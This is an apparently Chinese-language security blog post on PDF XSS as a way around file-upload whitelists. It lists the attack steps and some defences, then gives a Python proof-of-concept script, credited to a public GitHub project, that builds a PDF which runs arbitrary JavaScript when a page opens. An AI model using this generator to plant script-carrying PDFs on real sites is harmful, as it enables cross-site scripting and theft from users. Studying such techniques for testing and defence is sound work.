当我们发现一个文件上传功能的时候,可能会尝试上传一些脚本文件,但是如果后端设置了文件白名单的时候,该怎么办呢。那么我们可以关注是否可以上传pdf类型文件,可能存在pdf xss漏洞。
PDF XSS漏洞是指攻击者通过在PDF文件中插入恶意代码,从而在用户打开PDF文件时执行恶意操作的一种安全漏洞。下面是关于PDF XSS漏洞的总结和过程:
攻击的的步骤为:
1.攻击者创建一个恶意PDF文件,其中包含恶意脚本代码。
2.攻击者将恶意PDF文件发送给目标用户,或者将其上传到一个可供用户下载的网站上。
3.用户下载并打开恶意PDF文件。
4.PDF阅读器解析PDF文件,并执行其中的脚本代码。
5.恶意脚本代码执行恶意操作,例如窃取用户的敏感信息、修改用户的数据等。
那么如何对上述漏洞进行防御呢:
1.更新PDF阅读器:及时更新PDF阅读器的版本,以获取最新的安全修复和漏洞补丁。
2.限制PDF文件的来源:只从可信的来源下载PDF文件,避免下载和打开未知或可疑的PDF文件。
3.使用安全阅读器插件:安装一些安全阅读器插件,可以提供额外的安全保护和漏洞检测功能。
4.定期审查PDF文件:定期审查已下载的PDF文件,删除可能包含恶意脚本代码的文件。
说白了,就是对pdf进行代码检查,或者直接禁用pdf - -
poc.pdf:
# FROM https://github.com/osnr/horrifying-pdf-experiments
import sys
from pdfrw import PdfWriter
from pdfrw.objects.pdfname import PdfName
from pdfrw.objects.pdfstring import PdfString
from pdfrw.objects.pdfdict import PdfDict
from pdfrw.objects.pdfarray import PdfArray
def make_js_action(js):
action = PdfDict()
action.S = PdfName.JavaScript
action.JS = js
return action
def make_field(name, x, y, width, height, r, g, b, value=""):
annot = PdfDict()
annot.Type = PdfName.Annot
annot.Subtype = PdfName.Widget
annot.FT = PdfName.Tx
annot.Ff = 2
annot.Rect = PdfArray([x, y, x + width, y + height])
annot.MaxLen = 160
annot.T = PdfString.encode(name)
annot.V = PdfString.encode(value)
# Default appearance stream: can be arbitrary PDF XObject or
# something. Very general.
annot.AP = PdfDict()
ap = annot.AP.N = PdfDict()
ap.Type = PdfName.XObject
ap.Subtype = PdfName.Form
ap.FormType = 1
ap.BBox = PdfArray([0, 0, width, height])
ap.Matrix = PdfArray([1.0, 0.0, 0.0, 1.0, 0.0, 0.0])
ap.stream = """
%f %f %f rg
0.0 0.0 %f %f re f
""" % (r, g, b, width, height)
# It took me a while to figure this out. See PDF spec:
# https://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/pdf_reference_1-7.pdf#page=641
# Basically, the appearance stream we just specified doesn't
# follow the field rect if it gets changed in JS (at least not in
# Chrome).
# But this simple MK field here, with border/color
# characteristics, _does_ follow those movements and resizes, so
# we can get moving colored rectangles this way.
annot.MK = PdfDict()
annot.MK.BG = PdfArray([r, g, b])
return annot
def make_page(fields, script):
page = PdfDict()
page.Type = PdfName.Page
page.Resources = PdfDict()
page.Resources.Font = PdfDict()
page.Resources.Font.F1 = PdfDict()
page.Resources.Font.F1.Type = PdfName.Font
page.Resources.Font.F1.Subtype = PdfName.Type1
page.Resources.Font.F1.BaseFont = PdfName.Helvetica
page.MediaBox = PdfArray([0, 0, 612, 792])
page.Contents = PdfDict()
page.Contents.stream = """
BT
/F1 24 Tf
ET
"""
annots = fields
page.AA = PdfDict()
# You probably should just wrap each JS action with a try/catch,
# because Chrome does no error reporting or even logging otherwise;
# you just get a silent failure.
page.AA.O = make_js_action("""
try {
%s
} catch (e) {
app.alert(e.message);
}
""" % (script))
page.Annots = PdfArray(annots)
return page
if len(sys.argv) > 1:
js_file = open(sys.argv[1], 'r')
fields = []
for line in js_file:
if not line.startswith('/// '): break
pieces = line.split()
params = [pieces[1]] + [float(token) for token in pieces[2:]]
fields.append(make_field(*params))
js_file.seek(0)
out = PdfWriter()
out.addpage(make_page(fields, js_file.read()))
out.write('result.pdf')